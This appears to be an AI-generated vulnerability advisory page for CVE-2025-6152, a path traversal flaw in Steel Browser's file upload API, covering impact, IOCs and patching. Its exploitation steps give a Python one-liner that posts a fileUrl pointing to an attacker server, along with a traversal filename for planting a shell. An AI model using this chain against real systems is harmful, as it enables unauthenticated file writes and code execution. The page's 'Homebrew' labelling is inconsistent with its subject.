CVE-2025-6152
Homebrew vulnerability analysis and mitigation

Overview

CVE-2025-6152 is a path traversal vulnerability in Steel Browser (an open-source browser automation tool) affecting versions up to and including 0.1.3-beta. The flaw resides in the handleFileUpload function within api/src/modules/files/files.routes.ts, where unsanitized filename values from the Content-Disposition header of a remote URL response are used to construct file paths. It was reported on April 29, 2025, published to NVD on June 17, 2025, and patched via commit 7ba93a1 shortly after. The vulnerability carries a CVSS v3.1 base score of 9.8 (Critical) (Feedly, GitHub Issue).

Technical details

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory — Path Traversal). When a file upload request uses the fileUrl field, the createStreamFromUrl function fetches the remote resource and extracts the filename from the server's Content-Disposition response header using a regex (/filename="(.+)"/i) without any sanitization. This unsanitized name is then passed directly to join(tmpdir(), 'upload_${Date.now()}_${name}'), allowing an attacker-controlled server to return a Content-Disposition header such as filename="../../../app/malicious" to write files to arbitrary locations on the container filesystem. No authentication is required to reach the /v1/sessions/:id/files endpoint, making this remotely exploitable without credentials (GitHub Issue, GitHub Patch).

Impact

Successful exploitation allows an unauthenticated remote attacker to write arbitrary files with attacker-controlled content to any location accessible by the Steel Browser API process within its container. This can be leveraged to plant web shells, overwrite configuration files, or inject malicious scripts, potentially enabling full container compromise and lateral movement to the host or adjacent services. The vulnerability poses high risk to confidentiality, integrity, and availability, as arbitrary file write primitives can be chained to achieve remote code execution (GitHub Issue, Feedly).

Exploitability

A detailed proof-of-concept exploit is publicly available in the GitHub issue report, demonstrating the full attack chain using a simple Python requests call and a malicious HTTP server. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been made. The EPSS score is approximately 0.051% (low probability of near-term exploitation). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Issue, Feedly).

Exploitation steps

  1. Reconnaissance: Identify internet-facing or network-accessible Steel Browser API instances (default port 3000) running version 0.1.3-beta or earlier.
  2. Set up malicious HTTP server: Host a server that responds to any request with a Content-Disposition header containing a path traversal sequence, e.g., Content-Disposition: form-data; filename="../../../app/shell.js", and a response body containing the desired malicious payload.
  3. Send crafted upload request: POST a multipart request to the /v1/sessions/<any_session_id>/files endpoint with the fileUrl field pointing to the attacker-controlled server:
    python -c "import requests; requests.post('http://<target>:3000/v1/sessions/abcde/files', files={'fileUrl': (None, 'http://<attacker-server>:8080/')})"
  4. Trigger path traversal: The Steel Browser API fetches the URL, extracts the unsanitized filename from the Content-Disposition header, and writes the response body to the traversed path (e.g., /app/shell.js) on the container filesystem.
  5. Achieve code execution: Depending on the target path and application behavior, the written file (e.g., a Node.js script, cron job, or configuration override) can be triggered to obtain a shell or escalate access within the container (GitHub Issue).

Indicators of compromise

  • Network: Unexpected outbound HTTP GET requests from the Steel Browser container to external or internal IP addresses initiated by the API process; inbound POST requests to /v1/sessions/*/files with a fileUrl field pointing to unusual or external hosts.
  • Logs: API access logs showing POST requests to /v1/sessions/<id>/files with fileUrl parameters referencing non-standard or attacker-controlled URLs; errors or warnings in application logs related to file path construction outside the temp directory.
  • File System: Unexpected files appearing outside the designated upload/temp directory (e.g., in /app/, /etc/, or other system directories) with timestamps correlating to API activity; newly created scripts or configuration files not part of the original container image.
  • Process: Unusual child processes spawned by the Node.js API process (e.g., shells, curl, wget) following file write events (GitHub Issue).

Mitigation and workarounds

Apply the patch introduced in commit 7ba93a10000fb77ee01731478ef40551a27bd5b9, which refactors the file service and addresses the unsanitized filename handling. Users should update Steel Browser to any version beyond 0.1.3-beta that includes this fix. As an interim workaround, restrict network access to the Steel Browser API port (default 3000) using firewall rules or container network policies to prevent unauthenticated external access. Additionally, implement input validation to sanitize or reject filenames containing path traversal sequences (../, ..\) before constructing file paths (GitHub Patch, GitHub Issue).

Additional resources


SourceThis report was generated using AI

Related Homebrew vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-73939HIGH8.6
  • Homebrew logoHomebrew
  • helidon
NoNoAug 18, 2026
CVE-2026-73937HIGH8.2
  • Homebrew logoHomebrew
  • helidon
NoNoAug 18, 2026
CVE-2026-73938HIGH7.5
  • Homebrew logoHomebrew
  • helidon
NoNoAug 18, 2026
CVE-2026-73936HIGH7.5
  • Homebrew logoHomebrew
  • helidon
NoNoAug 18, 2026
CVE-2026-73935HIGH7.5
  • Homebrew logoHomebrew
  • helidon
NoNoAug 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management